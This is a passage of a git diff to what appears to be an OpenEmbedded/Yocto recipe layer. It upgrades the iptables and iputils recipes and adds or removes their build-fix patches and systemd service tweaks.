1 file changed, 7 insertions(+), 3 deletions(-)
diff --git a/configure.ac b/configure.ac
-index eda7871..03ddc50 100644
+index d99fa3b..d607772 100644
--- a/configure.ac
+++ b/configure.ac
@@ -63,6 +63,9 @@ AC_ARG_WITH([pkgconfigdir], AS_HELP_STRING([--with-pkgconfigdir=PATH],
@@ -28,9 +29,9 @@ index eda7871..03ddc50 100644
AC_ARG_ENABLE([connlabel],
AS_HELP_STRING([--disable-connlabel],
[Do not build libnetfilter_conntrack]),
-@@ -115,9 +118,10 @@ if test "x$enable_bpfc" = "xyes" || test "x$enable_nfsynproxy" = "xyes"; then
- AC_CHECK_LIB(pcap, pcap_compile,, AC_MSG_ERROR(missing libpcap library required by bpf compiler or nfsynproxy tool))
- fi
+@@ -113,9 +116,10 @@ AM_CONDITIONAL([ENABLE_SYNCONF], [test "$enable_nfsynproxy" = "yes"])
+ AM_CONDITIONAL([ENABLE_NFTABLES], [test "$enable_nftables" = "yes"])
+ AM_CONDITIONAL([ENABLE_CONNLABEL], [test "$enable_connlabel" = "yes"])
-PKG_CHECK_MODULES([libnfnetlink], [libnfnetlink >= 1.0],
- [nfnetlink=1], [nfnetlink=0])
@@ -40,8 +41,5 @@ index eda7871..03ddc50 100644
+ ])
+AM_CONDITIONAL([HAVE_LIBNFNETLINK], [test "x$enable_libnfnetlink" = "xyes"])
- if test "x$enable_nftables" = "xyes"; then
- PKG_CHECK_MODULES([libmnl], [libmnl >= 1.0], [mnl=1], [mnl=0])
---
-2.4.0
-
+ if test "x$enable_bpfc" = "xyes" || test "x$enable_nfsynproxy" = "xyes"; then
+ PKG_CHECK_MODULES([libpcap], [libpcap], [], [
diff --git a/meta/recipes-extended/iptables/iptables/0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch b/meta/recipes-extended/iptables/iptables/0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch
deleted file mode 100644
index 7842c6408a..0000000000
--- a/meta/recipes-extended/iptables/iptables/0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 26090b3dbcdf6a11e60535da949b726a6e86426d Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Tue, 21 Feb 2017 11:49:07 +0200
-Subject: [PATCH] configure.ac:
- only-check-conntrack-when-libnfnetlink-enabled.patch
-
-Package libnetfilter-conntrack depends on package libnfnetlink. iptables
-checks package libnetfilter-conntrack whatever its package config
-libnfnetlink is enabled or not. When libnfnetlink is disabled but
-package libnetfilter-conntrack exists, it fails randomly with:
-
-In file included from
-.../iptables/1.4.21-r0/iptables-1.4.21/extensions/libxt_connlabel.c:8:0:
-
-.../tmp/sysroots/qemumips/usr/include/libnetfilter_conntrack/libnetfilter_conntrack.h:14:42:
-fatal error: libnfnetlink/linux_nfnetlink.h: No such file or directory
-
-compilation terminated.
-GNUmakefile:96: recipe for target 'libxt_connlabel.oo' failed
-Only check libnetfilter-conntrack when libnfnetlink is enabled to fix it.
-
-Upstream-Status: Pending
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
- configure.ac | 6 ++++--
- 1 file changed, 4 insertions(+), 2 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 03ddc50..523caea 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -172,10 +172,12 @@ if test "$nftables" != 1; then
- fi
-
- if test "x$enable_connlabel" = "xyes"; then
-- PKG_CHECK_MODULES([libnetfilter_conntrack],
-+ nfconntrack=0
-+ AS_IF([test "x$enable_libnfnetlink" = "xyes"], [
-+ PKG_CHECK_MODULES([libnetfilter_conntrack],
- [libnetfilter_conntrack >= 1.0.6],
- [nfconntrack=1], [nfconntrack=0])
--
-+ ])
- if test "$nfconntrack" -ne 1; then
- blacklist_modules="$blacklist_modules connlabel";
- echo "WARNING: libnetfilter_conntrack not found, connlabel match will not be built";
---
-2.4.0
-
diff --git a/meta/recipes-extended/iptables/iptables/0002-iptables-xshared.h-add-missing-sys.types.h-include.patch b/meta/recipes-extended/iptables/iptables/0002-iptables-xshared.h-add-missing-sys.types.h-include.patch
new file mode 100644
index 0000000000..a190c7e8ae
--- /dev/null
+++ b/meta/recipes-extended/iptables/iptables/0002-iptables-xshared.h-add-missing-sys.types.h-include.patch
@@ -0,0 +1,31 @@
+From 465e3ef77f1763d225adc76220e43ee9bd73b178 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 17 May 2022 10:56:59 +0200
+Subject: [PATCH] iptables/xshared.h: add missing sys.types.h include
+
+This resolves the build error under musl:
+
+| ../../../../../../../workspace/sources/iptables/iptables/xshared.h:83:56: error: unknown type name 'u_int16_t'; did you mean 'uint16_t'?
+| 83 | set_option(unsigned int *options, unsigned int option, u_int16_t *invflg,
+| | ^~~~~~~~~
+| | uint16_t
+
+Upstream-Status: Submitted [via email to phil@nwl.cc]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ iptables/xshared.h | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/iptables/xshared.h b/iptables/xshared.h
+index a200e0d..f543dbf 100644
+--- a/iptables/xshared.h
++++ b/iptables/xshared.h
+@@ -6,6 +6,7 @@
+ #include <stdint.h>
+ #include <netinet/in.h>
+ #include <net/if.h>
++#include <sys/types.h>
+ #include <linux/netfilter_arp/arp_tables.h>
+ #include <linux/netfilter_ipv4/ip_tables.h>
+ #include <linux/netfilter_ipv6/ip6_tables.h>
diff --git a/meta/recipes-extended/iptables/iptables/0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch b/meta/recipes-extended/iptables/iptables/0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch
new file mode 100644
index 0000000000..5a022ebc8c
--- /dev/null
+++ b/meta/recipes-extended/iptables/iptables/0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch
@@ -0,0 +1,49 @@
+From 6832501bbb90a3dab977a4625d0391804c0e795c Mon Sep 17 00:00:00 2001
+From: "Maxin B. John" <maxin.john@intel.com>
+Date: Tue, 21 Feb 2017 11:49:07 +0200
+Subject: [PATCH] configure.ac:
+ only-check-conntrack-when-libnfnetlink-enabled.patch
+
+Package libnetfilter-conntrack depends on package libnfnetlink. iptables
+checks package libnetfilter-conntrack whatever its package config
+libnfnetlink is enabled or not. When libnfnetlink is disabled but
+package libnetfilter-conntrack exists, it fails randomly with:
+
+In file included from
+.../iptables/1.4.21-r0/iptables-1.4.21/extensions/libxt_connlabel.c:8:0:
+
+.../tmp/sysroots/qemumips/usr/include/libnetfilter_conntrack/libnetfilter_conntrack.h:14:42:
+fatal error: libnfnetlink/linux_nfnetlink.h: No such file or directory
+
+compilation terminated.
+GNUmakefile:96: recipe for target 'libxt_connlabel.oo' failed
+Only check libnetfilter-conntrack when libnfnetlink is enabled to fix it.
+
+Upstream-Status: Pending
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+Signed-off-by: Maxin B. John <maxin.john@intel.com>
+
+---
+ configure.ac | 6 ++++--
+ 1 file changed, 4 insertions(+), 2 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index d607772..25a8e75 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -159,10 +159,12 @@ if test "$nftables" != 1; then
+ fi
+
+ if test "x$enable_connlabel" = "xyes"; then
+- PKG_CHECK_MODULES([libnetfilter_conntrack],
++ nfconntrack=0
++ AS_IF([test "x$enable_libnfnetlink" = "xyes"], [
++ PKG_CHECK_MODULES([libnetfilter_conntrack],
+ [libnetfilter_conntrack >= 1.0.6],
+ [nfconntrack=1], [nfconntrack=0])
+-
++ ])
+ if test "$nfconntrack" -ne 1; then
+ blacklist_modules="$blacklist_modules connlabel";
+ echo "WARNING: libnetfilter_conntrack not found, connlabel match will not be built";
diff --git a/meta/recipes-extended/iptables/iptables_1.8.10.bb b/meta/recipes-extended/iptables/iptables_1.8.10.bb
new file mode 100644
index 0000000000..cd2f3bce0b
--- /dev/null
+++ b/meta/recipes-extended/iptables/iptables_1.8.10.bb
@@ -0,0 +1,123 @@
+SUMMARY = "Tools for managing kernel packet filtering capabilities"
+DESCRIPTION = "iptables is the userspace command line program used to configure and control network packet \
+filtering code in Linux."
+HOMEPAGE = "http://www.netfilter.org/"
+BUGTRACKER = "http://bugzilla.netfilter.org/"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://iptables/iptables.c;beginline=13;endline=25;md5=c5cffd09974558cf27d0f763df2a12dc \
+"
+
+SRC_URI = "http://netfilter.org/projects/iptables/files/iptables-${PV}.tar.xz \
+ file://iptables.service \
+ file://iptables.rules \
+ file://ip6tables.service \
+ file://ip6tables.rules \
+ file://0001-configure-Add-option-to-enable-disable-libnfnetlink.patch \
+ file://0002-iptables-xshared.h-add-missing-sys.types.h-include.patch \
+ file://0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch \
+ "
+SRC_URI[sha256sum] = "5cc255c189356e317d070755ce9371eb63a1b783c34498fb8c30264f3cc59c9c"
+
+SYSTEMD_SERVICE:${PN} = "\
+ iptables.service \
+ ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'ip6tables.service', '', d)} \
+"
+
+inherit autotools pkgconfig systemd
+
+EXTRA_OECONF = "--with-kernel=${STAGING_INCDIR}"
+
+CFLAGS:append:libc-musl = " -D__UAPI_DEF_ETHHDR=0"
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+
+# libnfnetlink recipe is in meta-networking layer
+PACKAGECONFIG[libnfnetlink] = "--enable-libnfnetlink,--disable-libnfnetlink,libnfnetlink libnetfilter-conntrack"
+
+# libnftnl recipe is in meta-networking layer(previously known as libnftables)
+PACKAGECONFIG[libnftnl] = "--enable-nftables,--disable-nftables,libnftnl"
+
+do_configure:prepend() {
+ # Remove some libtool m4 files
+ # Keep ax_check_linker_flags.m4 which belongs to autoconf-archive.
+ rm -f libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4
+
+ # Copy a header to fix out of tree builds
+ cp -f ${S}/libiptc/linux_list.h ${S}/include/libiptc/
+}
+
+IPTABLES_RULES_DIR ?= "${sysconfdir}/${BPN}"
+
+do_install:append() {
+ install -d ${D}${IPTABLES_RULES_DIR}
+ install -m 0644 ${WORKDIR}/iptables.rules ${D}${IPTABLES_RULES_DIR}
+
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/iptables.service ${D}${systemd_system_unitdir}
+
+ sed -i \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \
+ ${D}${systemd_system_unitdir}/iptables.service
+
+ if ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'true', 'false', d)} ; then
+ install -m 0644 ${WORKDIR}/ip6tables.rules ${D}${IPTABLES_RULES_DIR}
+ install -m 0644 ${WORKDIR}/ip6tables.service ${D}${systemd_system_unitdir}
+
+ sed -i \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \
+ ${D}${systemd_system_unitdir}/ip6tables.service
+ fi
+
+ # if libnftnl is included, make the iptables symlink point to the nft-based binary by default
+ if ${@bb.utils.contains('PACKAGECONFIG', 'libnftnl', 'true', 'false', d)} ; then
+ ln -sf ${sbindir}/xtables-nft-multi ${D}${sbindir}/iptables
+ fi
+}
+
+PACKAGES =+ "${PN}-modules ${PN}-apply"
+PACKAGES_DYNAMIC += "^${PN}-module-.*"
+
+python populate_packages:prepend() {
+ modules = do_split_packages(d, '${libdir}/xtables', r'lib(.*)\.so$', '${PN}-module-%s', '${PN} module %s', extra_depends='')
+ if modules:
+ metapkg = d.getVar('PN') + '-modules'
+ d.appendVar('RDEPENDS:' + metapkg, ' ' + ' '.join(modules))
+}
+
+RDEPENDS:${PN} = "${PN}-module-xt-standard"
+RRECOMMENDS:${PN} = " \
+ ${PN}-modules \
+ kernel-module-x-tables \
+ kernel-module-ip-tables \
+ kernel-module-iptable-filter \
+ kernel-module-iptable-nat \
+ kernel-module-nf-defrag-ipv4 \
+ kernel-module-nf-conntrack \
+ kernel-module-nf-conntrack-ipv4 \
+ kernel-module-nf-nat \
+ kernel-module-ipt-masquerade \
+ ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', '\
+ kernel-module-ip6table-filter \
+ kernel-module-ip6-tables \
+ ', '', d)} \
+"
+
+FILES:${PN} += "${datadir}/xtables"
+
+FILES:${PN}-apply = "${sbindir}/ip*-apply"
+RDEPENDS:${PN}-apply = "${PN} bash"
+
+# Include the symlinks as well in respective packages
+FILES:${PN}-module-xt-conntrack += "${libdir}/xtables/libxt_state.so"
+FILES:${PN}-module-xt-ct += "${libdir}/xtables/libxt_NOTRACK.so ${libdir}/xtables/libxt_REDIRECT.so"
+FILES:${PN}-module-xt-nat += "${libdir}/xtables/libxt_SNAT.so ${libdir}/xtables/libxt_DNAT.so ${libdir}/xtables/libxt_MASQUERADE.so"
+
+ALLOW_EMPTY:${PN}-modules = "1"
+
+INSANE_SKIP:${PN}-module-xt-conntrack = "dev-so"
+INSANE_SKIP:${PN}-module-xt-ct = "dev-so"
+INSANE_SKIP:${PN}-module-xt-nat = "dev-so"
diff --git a/meta/recipes-extended/iptables/iptables_1.8.5.bb b/meta/recipes-extended/iptables/iptables_1.8.5.bb
deleted file mode 100644
index 5976128807..0000000000
--- a/meta/recipes-extended/iptables/iptables_1.8.5.bb
+++ /dev/null
@@ -1,111 +0,0 @@
-SUMMARY = "Tools for managing kernel packet filtering capabilities"
-DESCRIPTION = "iptables is the userspace command line program used to configure and control network packet \
-filtering code in Linux."
-HOMEPAGE = "http://www.netfilter.org/"
-BUGTRACKER = "http://bugzilla.netfilter.org/"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://iptables/iptables.c;beginline=13;endline=25;md5=c5cffd09974558cf27d0f763df2a12dc \
-"
-
-SRC_URI = "http://netfilter.org/projects/iptables/files/iptables-${PV}.tar.bz2 \
- file://0001-configure-Add-option-to-enable-disable-libnfnetlink.patch \
- file://0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch \
- file://0001-build-resolve-iptables-apply-not-getting-installed.patch \
- file://iptables.service \
- file://iptables.rules \
- file://ip6tables.service \
- file://ip6tables.rules \
-"
-SRC_URI[sha256sum] = "d457d74512e63aa3f50336e0597d4023c0e3c6845594d38532efb6ebcb294309"
-
-SYSTEMD_SERVICE_${PN} = "\
- iptables.service \
- ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'ip6tables.service', '', d)} \
-"
-
-inherit autotools pkgconfig systemd
-
-EXTRA_OECONF = "--with-kernel=${STAGING_INCDIR}"
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-
-# libnfnetlink recipe is in meta-networking layer
-PACKAGECONFIG[libnfnetlink] = "--enable-libnfnetlink,--disable-libnfnetlink,libnfnetlink libnetfilter-conntrack"
-
-# libnftnl recipe is in meta-networking layer(previously known as libnftables)
-PACKAGECONFIG[libnftnl] = "--enable-nftables,--disable-nftables,libnftnl"
-
-do_configure_prepend() {
- # Remove some libtool m4 files
- # Keep ax_check_linker_flags.m4 which belongs to autoconf-archive.
- rm -f libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4
-}
-
-IPTABLES_RULES_DIR ?= "${sysconfdir}/${BPN}"
-
-do_install_append() {
- install -d ${D}${IPTABLES_RULES_DIR}
- install -m 0644 ${WORKDIR}/iptables.rules ${D}${IPTABLES_RULES_DIR}
-
- install -d ${D}${systemd_system_unitdir}
- install -m 0644 ${WORKDIR}/iptables.service ${D}${systemd_system_unitdir}
-
- sed -i \
- -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \
- ${D}${systemd_system_unitdir}/iptables.service
-
- if ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'true', 'false', d)} ; then
- install -m 0644 ${WORKDIR}/ip6tables.rules ${D}${IPTABLES_RULES_DIR}
- install -m 0644 ${WORKDIR}/ip6tables.service ${D}${systemd_system_unitdir}
-
- sed -i \
- -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \
- ${D}${systemd_system_unitdir}/ip6tables.service
- fi
-}
-
-PACKAGES =+ "${PN}-modules ${PN}-apply"
-PACKAGES_DYNAMIC += "^${PN}-module-.*"
-
-python populate_packages_prepend() {
- modules = do_split_packages(d, '${libdir}/xtables', r'lib(.*)\.so$', '${PN}-module-%s', '${PN} module %s', extra_depends='')
- if modules:
- metapkg = d.getVar('PN') + '-modules'
- d.appendVar('RDEPENDS_' + metapkg, ' ' + ' '.join(modules))
-}
-
-RDEPENDS_${PN} = "${PN}-module-xt-standard"
-RRECOMMENDS_${PN} = " \
- ${PN}-modules \
- kernel-module-x-tables \
- kernel-module-ip-tables \
- kernel-module-iptable-filter \
- kernel-module-iptable-nat \
- kernel-module-nf-defrag-ipv4 \
- kernel-module-nf-conntrack \
- kernel-module-nf-conntrack-ipv4 \
- kernel-module-nf-nat \
- kernel-module-ipt-masquerade \
- ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', '\
- kernel-module-ip6table-filter \
- kernel-module-ip6-tables \
- ', '', d)} \
-"
-
-FILES_${PN} += "${datadir}/xtables"
-
-FILES_${PN}-apply = "${sbindir}/ip*-apply"
-RDEPENDS_${PN}-apply = "${PN} bash"
-
-# Include the symlinks as well in respective packages
-FILES_${PN}-module-xt-conntrack += "${libdir}/xtables/libxt_state.so"
-FILES_${PN}-module-xt-ct += "${libdir}/xtables/libxt_NOTRACK.so"
-
-ALLOW_EMPTY_${PN}-modules = "1"
-
-INSANE_SKIP_${PN}-module-xt-conntrack = "dev-so"
-INSANE_SKIP_${PN}-module-xt-ct = "dev-so"
diff --git a/meta/recipes-extended/iputils/iputils/0001-iputils-Initialize-libgcrypt.patch b/meta/recipes-extended/iputils/iputils/0001-iputils-Initialize-libgcrypt.patch
deleted file mode 100644
index b56804cebe..0000000000
--- a/meta/recipes-extended/iputils/iputils/0001-iputils-Initialize-libgcrypt.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-From 8576e0c218634e6f7ed1b6ff02fa164fb0c75f86 Mon Sep 17 00:00:00 2001
-From: Mingli Yu <mingli.yu@windriver.com>
-Date: Wed, 29 Apr 2020 03:50:32 +0000
-Subject: [PATCH] iputils_md5dig.h: Initialize libgcrypt
-
-Initialize libgcrypt on first use otherwise
-there comes below warning when check the status
-of the ninfod.service.
- # systemctl status ninfod.service
- * ninfod.service - Respond to IPv6 Node Information Queries
- Loaded: loaded (/lib/systemd/system/ninfod.service; enabled; vendor preset: enabled)
- Active: active (running) since Wed 2020-04-29 05:18:21 UTC; 36s ago
- Docs: man:ninfod(8)
- Main PID: 347 (ninfod)
- Tasks: 1 (limit: 9382)
- Memory: 1.2M
- CGroup: /system.slice/ninfod.service
- `-347 /sbin/ninfod -d
-
- Apr 29 05:18:21 intel-x86-64 systemd[1]: Started Respond to IPv6 Node Information Queries.
- Apr 29 05:18:24 intel-x86-64 ninfod[347]: Libgcrypt warning: missing initialization - please fix the application
-
-Upstream-Status: Inappropriate [the upstream avoids linking to crypto libraries in
- commit 214ed83 common: copy md5 implementation to iputils project]
-
-Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
----
- iputils_md5dig.h | 9 +++++++++
- 1 file changed, 9 insertions(+)
-
-diff --git a/iputils_md5dig.h b/iputils_md5dig.h
-index bfa7f02..3cc3fbf 100644
---- a/iputils_md5dig.h
-+++ b/iputils_md5dig.h
-@@ -24,8 +24,17 @@ typedef struct {
- gcry_md_hd_t dig;
- } iputils_md5dig_ctx;
-
-+void maybeInit()
-+{
-+ if (!gcry_control(GCRYCTL_INITIALIZATION_FINISHED_P))
-+ {
-+ gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
-+ }
-+}
-+
- static void iputils_md5dig_init(iputils_md5dig_ctx *ctx)
- {
-+ maybeInit();
- if (gcry_md_open(&ctx->dig, GCRY_MD_MD5, 0) != GPG_ERR_NO_ERROR)
- abort();
- return;
---
-2.24.1
-
diff --git a/meta/recipes-extended/iputils/iputils/0001-ninfod-change-variable-name-to-avoid-colliding-with-.patch b/meta/recipes-extended/iputils/iputils/0001-ninfod-change-variable-name-to-avoid-colliding-with-.patch
deleted file mode 100644
index e106a0cf73..0000000000
--- a/meta/recipes-extended/iputils/iputils/0001-ninfod-change-variable-name-to-avoid-colliding-with-.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From ab1aa2eb0097a7ef05ffccac058b06812deb2695 Mon Sep 17 00:00:00 2001
-From: Sami Kerola <kerolasa@iki.fi>
-Date: Sat, 28 Dec 2019 17:16:27 +0000
-Subject: [PATCH] ninfod: change variable name to avoid colliding with function
- name
-
-The sys/capability.h header has 'extern int cap_setuid(uid_t uid);'
-function prototype.
-
-Addresses: https://github.com/iputils/iputils/issues/246
-
-Upstream-Status: Backport [https://github.com/iputils/iputils/commit/18f9a84e0e702841d6cc4d5f593de4fbd1348e83]
-Signed-off-by: Sami Kerola <kerolasa@iki.fi>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- ninfod/ninfod.c | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/ninfod/ninfod.c b/ninfod/ninfod.c
-index badbf80..28f03af 100644
---- a/ninfod/ninfod.c
-+++ b/ninfod/ninfod.c
-@@ -454,7 +454,7 @@ static void do_daemonize(void)
- /* --------- */
- #ifdef HAVE_LIBCAP
- static const cap_value_t cap_net_raw = CAP_NET_RAW;
--static const cap_value_t cap_setuid = CAP_SETUID;
-+static const cap_value_t cap_setuserid = CAP_SETUID;
- static cap_flag_value_t cap_ok;
- #else
- static uid_t euid;
-@@ -486,7 +486,7 @@ static void limit_capabilities(void)
-
- cap_get_flag(cap_cur_p, CAP_SETUID, CAP_PERMITTED, &cap_ok);
- if (cap_ok != CAP_CLEAR)
-- cap_set_flag(cap_p, CAP_PERMITTED, 1, &cap_setuid, CAP_SET);
-+ cap_set_flag(cap_p, CAP_PERMITTED, 1, &cap_setuserid, CAP_SET);
-
- if (cap_set_proc(cap_p) < 0) {
- DEBUG(LOG_ERR, "cap_set_proc: %s\n", strerror(errno));
-@@ -519,8 +519,8 @@ static void drop_capabilities(void)
-
- /* setuid / setuid */
- if (cap_ok != CAP_CLEAR) {
-- cap_set_flag(cap_p, CAP_PERMITTED, 1, &cap_setuid, CAP_SET);
-- cap_set_flag(cap_p, CAP_EFFECTIVE, 1, &cap_setuid, CAP_SET);
-+ cap_set_flag(cap_p, CAP_PERMITTED, 1, &cap_setuserid, CAP_SET);
-+ cap_set_flag(cap_p, CAP_EFFECTIVE, 1, &cap_setuserid, CAP_SET);
-
- if (cap_set_proc(cap_p) < 0) {
- DEBUG(LOG_ERR, "cap_set_proc: %s\n", strerror(errno));
diff --git a/meta/recipes-extended/iputils/iputils/0001-ninfod-fix-systemd-Documentation-url-error.patch b/meta/recipes-extended/iputils/iputils/0001-ninfod-fix-systemd-Documentation-url-error.patch
deleted file mode 100644
index 03a3f5602d..0000000000
--- a/meta/recipes-extended/iputils/iputils/0001-ninfod-fix-systemd-Documentation-url-error.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From c1f1527eb30d4a5feebf9a0757582bbf7fe3eae9 Mon Sep 17 00:00:00 2001
-From: Andrea Stevanato <andrea.stevanato.95@hotmail.it>
-Date: Tue, 5 Nov 2019 19:08:30 +0000
-Subject: [PATCH] ninfod: fix systemd Documentation url error
-
-systemd[1]: /usr/lib/systemd/system/ninfod.service:3: Invalid URL, ignoring: ninfod(8)
-
-Upstream-Status: Backport [https://github.com/iputils/iputils/commit/c1f1527eb30d4a5feebf9a0757582bbf7fe3eae9]
-Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
----
- systemd/ninfod.service.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/systemd/ninfod.service.in b/systemd/ninfod.service.in
-index 5ab69ca00e96..8e79fcd9238e 100644
---- a/systemd/ninfod.service.in
-+++ b/systemd/ninfod.service.in
-@@ -1,6 +1,6 @@
- [Unit]
- Description=Respond to IPv6 Node Information Queries
--Documentation=ninfod(8)
-+Documentation=man:ninfod(8)
- Requires=network.target
- After=network.target
-
---
-2.17.1
-
diff --git a/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch b/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch
deleted file mode 100644
index d7367caf78..0000000000
--- a/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 6e51d529988cfc0bb357751fd767e9f1478e2b81 Mon Sep 17 00:00:00 2001
-From: Alex Kiernan <alex.kiernan@gmail.com>
-Date: Thu, 13 Feb 2020 06:08:45 +0000
-Subject: [PATCH] rarpd: rdisc: Drop PrivateUsers
-
-Neither rarpd nor rdisc can gain the necessary capabilities with
-PrivateUsers enabled.
-
-Upstream-Status: Pending
-Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
----
- systemd/rarpd.service.in | 1 -
- systemd/rdisc.service.in | 3 ++-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/systemd/rarpd.service.in b/systemd/rarpd.service.in
-index e600c10c93e6..f5d7621a7ce8 100644
---- a/systemd/rarpd.service.in
-+++ b/systemd/rarpd.service.in
-@@ -12,7 +12,6 @@ AmbientCapabilities=CAP_NET_RAW
- DynamicUser=yes
- PrivateTmp=yes
- PrivateDevices=yes
--PrivateUsers=yes
- ProtectSystem=strict
- ProtectHome=yes
- ProtectControlGroups=yes
-diff --git a/systemd/rdisc.service.in b/systemd/rdisc.service.in
-index 4e2a1ec9d0e5..a71b87d36b37 100644
---- a/systemd/rdisc.service.in
-+++ b/systemd/rdisc.service.in
-@@ -8,9 +8,10 @@ After=network.target
- EnvironmentFile=-/etc/sysconfig/rdisc
- ExecStart=@sbindir@/rdisc -f -t $OPTIONS $SEND_ADDRESS $RECEIVE_ADDRESS
-
-+CapabilityBoundingSet=CAP_NET_RAW
- AmbientCapabilities=CAP_NET_RAW
- PrivateTmp=yes
--PrivateUsers=yes
-+DynamicUser=yes
- ProtectSystem=strict
- ProtectHome=yes
- ProtectControlGroups=yes
---
-2.17.1
-
diff --git a/meta/recipes-extended/iputils/iputils_20240117.bb b/meta/recipes-extended/iputils/iputils_20240117.bb
new file mode 100644
index 0000000000..5a5e15528e
--- /dev/null
+++ b/meta/recipes-extended/iputils/iputils_20240117.bb
@@ -0,0 +1,48 @@
+SUMMARY = "Network monitoring tools"
+DESCRIPTION = "Utilities for the IP protocol, including \
+tracepath, tracepath6, ping, ping6 and arping."
+HOMEPAGE = "https://github.com/iputils/iputils"
+SECTION = "console/network"
+
+LICENSE = "BSD-3-Clause & GPL-2.0-or-later"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=627cc07ec86a45951d43e30658bbd819"
+
+DEPENDS = "gnutls"
+
+SRC_URI = "git://github.com/iputils/iputils;branch=master;protocol=https"
+SRCREV = "8372f355bdf7a9b0c79338dd8ef8464c00a5c4e2"
+
+S = "${WORKDIR}/git"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>20\d+)"
+
+CVE_STATUS[CVE-2000-1213] = "fixed-version: Fixed in 2000-10-10, but the versioning of iputils breaks the version order."
+CVE_STATUS[CVE-2000-1214] = "fixed-version: Fixed in 2000-10-10, but the versioning of iputils breaks the version order."
+
+PACKAGECONFIG ??= "libcap"
+PACKAGECONFIG[libcap] = "-DUSE_CAP=true, -DUSE_CAP=false -DNO_SETCAP_OR_SUID=true, libcap libcap-native"
+PACKAGECONFIG[libidn] = "-DUSE_IDN=true, -DUSE_IDN=false, libidn2"
+PACKAGECONFIG[gettext] = "-DUSE_GETTEXT=true, -DUSE_GETTEXT=false, gettext"
+PACKAGECONFIG[docs] = "-DBUILD_HTML_MANS=true -DBUILD_MANS=true,-DBUILD_HTML_MANS=false -DBUILD_MANS=false, libxslt"
+
+inherit meson update-alternatives pkgconfig
+
+EXTRA_OEMESON += "--prefix=${root_prefix}/ -DSKIP_TESTS=true"
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN}-ping = "ping"
+ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
+
+SPLITPKGS = "${PN}-ping ${PN}-arping ${PN}-tracepath ${PN}-clockdiff"
+PACKAGES += "${SPLITPKGS}"
+
+ALLOW_EMPTY:${PN} = "1"
+RDEPENDS:${PN} += "${SPLITPKGS}"
+
+FILES:${PN} = ""
+FILES:${PN}-ping = "${base_bindir}/ping.${BPN}"
+FILES:${PN}-arping = "${base_bindir}/arping"
+FILES:${PN}-tracepath = "${base_bindir}/tracepath"
+FILES:${PN}-clockdiff = "${base_bindir}/clockdiff"
diff --git a/meta/recipes-extended/iputils/iputils_s20190709.bb b/meta/recipes-extended/iputils/iputils_s20190709.bb
deleted file mode 100644
index 545f3d5e87..0000000000
